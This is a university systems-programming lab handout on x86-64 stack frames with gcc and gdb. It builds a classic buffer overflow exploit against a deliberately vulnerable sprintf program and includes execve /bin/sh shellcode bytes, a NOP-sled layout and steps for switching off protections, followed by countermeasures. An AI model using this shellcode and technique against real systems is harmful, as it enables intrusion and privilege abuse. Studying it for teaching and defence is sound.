Prof. Jingke Li (FAB120-06, lij@pdx.edu), Tue 10:00-11:50 @UTS 203, Labs: Tue 12:00-13:50 & Wed 12:00-13:50 @FAB 88-10

Lab 8: Buffer Overflow
(Adapted from Prof. Andrew Tolmach's earlier version)

In this lab, we will use `gcc` and `gdb` to explore the details of memory layout and call stack frame construction and deconstruction on the X86-64. We will also see how this knowledge can be used to exploit buffer overflow bugs and hijack programs.

This lab is only intended to work on the linuxlab machines (and on the linux server `ada`). Much of it will not work on Macs!

Working with gcc and gdb

Download and unzip the file `lab8.zip`. It includes these notes and also a copy of the file `gdb.pdf`, about debugging assembly code with `gdb`.

Run the shell command

```
setarch i386 -RL /bin/bash
```

to establish a sub-shell in which address space randomization is turned off. (You can specify a different kind of shell if you prefer.) You'll learn why this is necessary later.

Type

```
make examples
```

to compile the two example files. We first compile from `.c` files to `.s` files, and then assemble (with `-g` set for debugging information) and link `.s` files to executables. By default, `gcc` uses no optimization (equivalent to `-O0`); we also compile versions with moderate optimization (`-O1`) enabled.

Example1

Consider `example1.c`, `example1.s`, and `example1`.

We can look at the `.s` file to see the generated code, but instead let's focus on inspecting the runtime state directly using `gdb`. See the `gdb.pdf` document for help.

To get started, type

```
gdb example1
print main   [to get address of main]
break *[address of main]
run
```

This should stop at the breakpoint at the first location of `main`. (Just putting a breakpoint on symbol `main` doesn't quite work.)

Try using the `list` and `disass` commands to examine the assembly code. Note that they give similar, but not identical, information.

- `list` displays the contents of the `.s` file. It uses the same instruction mnemonics, symbolic addresses, and decimal offsets as that file.
- `disass` generates the assembly code on the fly by disassembling the binary code representation. It sometimes uses different instruction mnemonics, shows absolute addresses as well as symbolic ones, and uses hex offsets.

Use `disass` to determine the range of absolute addresses occupied by `main` (e.g. `0x400502-0x400525`).

Type

```
info registers
```

or

```
print $rsp
```

to determine the initial value of the stack pointer (e.g. `0x7fffffffe888`).

Use

```
stepi
```

to trace the execution of the program. Each step should echo the corresponding line of the `.s` file. (Note that you can execute the last command repeatedly by just typing return.)

At *each* step, determine how the stack changes. Trace how the prologue and epilogue code builds or destroy parts of the frame.

As a byproduct of this exercise, produce a memory map showing:

– Location of code for each function.

– Location of each global.

– Location of each stack frame.

– Detailed layout of each stack frame.

Some things to notice along the way:

- The generated code always uses a frame pointer, even when (as for `'g'`) it is completely unnecessary because the frame has size 0.
- As part of the prologue, the arguments, which were passed in registers, are stored into the frame, and subsequently always read/written from/to their frame locations. This rather odd behavior is because because `gcc -O0` keeps the primary copy of variables in memory rather than registers, in order to aid source-level debugging.
- Notice that the offsets of variables in the frame can be surprising, because gcc often introduces padding between them. Sometimes this padding is needed to maintain alignment of items or of the stack as a whole. According to the ABI, each value needs to be aligned to its size (e.g. 8-byte values must live on 8-byte boundaries), and `(%rsp+8)` must be 16-byte aligned at every function entry point. But sometimes the purpose of the padding is frankly mysterious.
- Use `disass` to observe how the same global variable (e.g. `'b'`) is accessed at different offsets from `%eip`, while its global address is fixed.
- Notice the interesting code sequence for the multiplication after the return into `f`.

Now try providing `example1` with some command line arguments, e.g.

```
./example1 forty plus two is forty-two
```

Although the program does not use these arguments, they are still accessible via the `argc` and `argv` parameters: `argc` gives the number of arguments and `argv` points to a null-terminated array whose elements are pointers to the argument strings. The command name counts as `argv[0]`.

Use `gdb` to discover exactly where and how the command line arguments are stored in memory. Add this information to your memory map.

A `gdb` *hint:* You give command line arguments as part of the `run` directive.

Example1_O1

Now consider `example1_O1.s` and `example1_O1`.

Look at the generated code. Notice that there are no frames or frame pointers at all; the stack is used only for return addresses.

Optionally, use `gdb` to trace through the execution of the code.

Example2

Exercise: Do a similar study of program `example2`.

As a byproduct, produce a memory map showing:

- Location of code for each function.
- Location of each array.
- Location of each stack frame.
- Detailed layout of each stack frame.

Something seems illegal about how the stack pointer is handled in `g`. What is it? (It is actually legal: search for "red zone" in the X86-64 document.)

Now examine the code produced for `example2_O1`. How are stack frames and frame pointers used, if at all?

Exploiting Knowledge of Stack Layout

Now we will illustrate in detail how to craft a simple buffer overflow exploit.

WARNING: Although this particular exploit is harmless, the techniques that it uses can be applied to build real attacks on real systems. Using any knowledge you obtain here (or on the internet, where it is easy to find descriptions of similar techniques) to perform real attacks would be unethical and, in many cases, illegal.

[This development is an X86-64 version of material by Nelson Elhage, MIT 2008.
See `stuff.mit.edu/iap/2009/exploit/stack.pdf`]

C Vulnerability Basics

Many standard library functions don't check that target arrays are big enough (e.g.: `strcpy`, `sprintf`, `scanf`, `memcpy`, ...)

- Main reason for this: pointers don't carry length information about the array they point to.
- A secondary reason: strings are `null`-terminated; length isn't available without traversing string.

File `hello.c` contains a vulnerable C program:

```
#include <stdio.h>
#include <stdlib.h>

void say_hello(char *name) {
  char buf[128];
  sprintf(buf, "Hello, %s", name);
  printf("%s!\n", buf);
}
```

```
  int main (int argc, char **argv) {
    if (argc >=2)
      say_hello(argv[1]);
  }
```

Try to identify the potential vulnerability.

Type

```
  make hello
```

to compile and link this program. (Note the weird flags used in the compilation; these are important!)

Run it by saying something like

```
  ./hello Fred
```

What happens if we give `'hello'` a very large argument string? Try it!

Exploiting the Buffer Overrun

Why does this happen? Consider the stack frame for `say_hello` (which we can figure out with the techniques we've been using above):

```
             ^
higher addrs |
             |
   ---------------------
     return addr
   ---------------------
    saved frame pointer  <- %rbp
   ---------------------
     buf (128 bytes)     <- -0x80(%rbp)
   ---------------------
     name (8 bytes)      <- -0x88(%rbp)
   ---------------------
     [padding] (8 bytes) <- -0x90(%rbp)  <- %rsp
   ---------------------
             |
stack grows  |
             V
```

If we write past the end of `buf`, we will overwrite the saved `%rbp` and return address.

Key idea: if we are clever, we can overwrite the return address with the address of some code block of our choosing!

Where should we put this exploit code? Answer: also in `buf`!

For the sake of an example, we'll make our exploit code invoke `"/bin/sh"` to give ourselves a fresh shell. (This is a classic form of exploit. It is only interesting as an evil exploit if we also get some kind of privilege escalation as a result, which we definitely won't be illustrating here.)

Crafting the Shellcode

Shellcode = the code we write that will invoke the system call to get a shell (more generically, to install and transfer control to the exploit code we want to execute).

To get the fresh shell process, we'll use the raw `exeve` system call:

```
execve (char *file, char **argv, char **envp)
```

e.g. `execve ("/bin/sh", {"/bin/sh", NULL}, NULL)`

The X86-64 system call convention is as follows:

– Use `syscall` instruction

– Syscall number goes in `%rax`

– Arguments go in `%rdi`, `%rsi`, `%rdx`, ...

– Return value in `%rax`

– Syscall number for `exeve` (`__NR_execve` in `usr/include/asm/unistd_64.h`) is `59` = `0x3b`

The shellcode simply needs to set up the argument data structures for this call and then execute the call. But there are some wrinkles:

- Shellcode must be position-independent, because we can't control where it goes. So any data structure it needs to build must also go on the stack, again somewhere in `buf`.
- The binary representation of the shellcode may be subject to some restrictions. In our case, it must not contain `NULL`s, because we're using a broken string routine (`sprintf`) to move the code into place, and a null would halt the move prematurely. Various encoding tricks can be used to achieve this, e.g.

  ```
  movl $0, %eax ==> xorl %eax, %eax
  ```

The shellcode will build this data on the stack (also inside `buf`!)

```
       ....
     ---------
   t: "/bin/sh"   <-- %rdi   [with trailing \0] -- watch out for little-endianess.
     _________
       0
     ---------
       t          <-- %rsi, %rsp
     ---------
```

Here's the shellcode:

```
movabsq $0x68732f6e69622f20, %rax // " /bin/sh"
shr $8,%rax           // shr to "/bin/sh\0"
pushq %rax
movq %rsp, %rdi       // %rdi <- "/bin/sh"
xorq %rax,%rax        // %rax <- 0
pushq %rax
pushq %rdi
movq %rsp, %rsi       // %rsi <- argv (singleton array containing "/bin/sh")
movq %rax, %rdx       // %rdi <- envp (empty)
addq $0x3b, %rax      // %rax <- __NR_execve
syscall
```

Typing

```
make shellcode.dumped
```

uses the `objdump` utility to produce a file with the following contents, which tells us what the machine-code bytes need to be:

```
shellcode.o:     file format elf64-x86-64
```

Disassembly of section `.text`:

```
0000000000000000 <main>:
   0: 48 b8 20 2f 62 69 6e  movabs $0x68732f6e69622f20,%rax
   7: 2f 73 68
   a: 48 c1 e8 08           shr    $0x8,%rax
   e: 50                    push   %rax
   f: 48 89 e7              mov    %rsp,%rdi
  12: 48 31 c0              xor    %rax,%rax
  15: 50                    push   %rax
  16: 57                    push   %rdi
  17: 48 89 e6              mov    %rsp,%rsi
  1a: 48 89 c2              mov    %rax,%rdx
  1d: 48 83 c0 3b           add    $0x3b,%rax
  21: 0f 05                 syscall
```

Installing the Shellcode

The plan is fill the stack like this:

```
                             <- initial value of %rsp when shellcode starts
          ----------------
           landing spot      <- return address
          ----------------
       NOPs for shellcode stack
          ----------------
             shellcode       <- landing spot
          ---------------
             NOPs
          ---------------    <- buf
```

We put `NOP`s (`0x90`) in below the shellcode because we don't know exactly where the landing spot lives as an absolute address, and this gives us some margin for error

We put enough `NOP`'s above the shellcode so that there there will be room for the shellcode's stack (33 × 8-byte entries in this case).

The trickiest bit is guessing where the landing spot lives as an absolute address. First, we use the auxiliary program `getsp` to get the approximate initial `%rsp` of a C main program when there are no command line arguments. Type

```
  make getsp
```

to build this program. We need to get this address programatically, because it can change depending on the environment in which the program runs, the revision of the operating system, and many other factors.

To obtain a plausible landing spot address, we then make a rough calculation of the distance between `main`'s initial `%rsp` and the bottom of `buf`, based on the various frame sizes in `hello.c`. We must also remember that when the contents of `argv` are non-empty, they will occupy additional stack space, causing the actual initial `%rsp` of `hello.c/main` to be shifted down from what `getsp` reports.

Finally, we pick a landing spot a few dozen bytes above our estimate of the bottom of `buf`. If our calculation is off by a few bytes, e.g. due to alignment padding, it doesn't matter, as long as we end up somewhere in the `NOP` zone below the actual shell code.

In a real exploit setting, where we probably couldn't run `getsp`, we would just use trial and error to guess the landing spot.

Running the Exploit

Finally, to put together the exploit string and invoke it, we use a Perl script called `hackit.pl`. Perl provides a convenient mechanism (the `exec` function) to pass the exploit string as a command line argument.

Try it by typing:

```
./hackit.pl
```

You should see the `/bin/sh $` prompt. Just `ctrl/c` out of this shell.

Countermeasures

What went wrong here?

- No bounds checking in C.
- The stack combines data and control information, so overwriting a data buffer can change program's flow of control.
- Nothing stops us from installing executable code on the stack and jumping to it.

Because buffer overflow exploits are so widespread, modern compilers and operating systems typically provide various countermeasures against them. To make our exploit work, we had to turn these off.

- By default, code generated by `gcc` is loaded with stack pages marked as "non-executable" (a mode fairly recently added by the hardware). We inhibited this feature by compiling with `"-z execstack"`; see what happens if you remove this flag.
- By default, code generated by `gcc` using a technique called a "stack canary" to notice when a buffer has been overwritten. We inhibited this feature by compiling with `"-fno-stack-protector"`; see what happens if you remove this flag.
- If optimization levels higher than `-O0` are used, `gcc` uses "checking" versions of the dangerous library calls that are passed bounds information. See what happens if you compile with `-O2`.
- By default, linux randomizes the address space at load time, so that the stack (as well as the code and global data) load at unpredictable addresses, which makes it much harder to guess the landing spot position. See what happens if you exit from the shell created by "setarch" and run `getsp` several times. Now try running the exploit.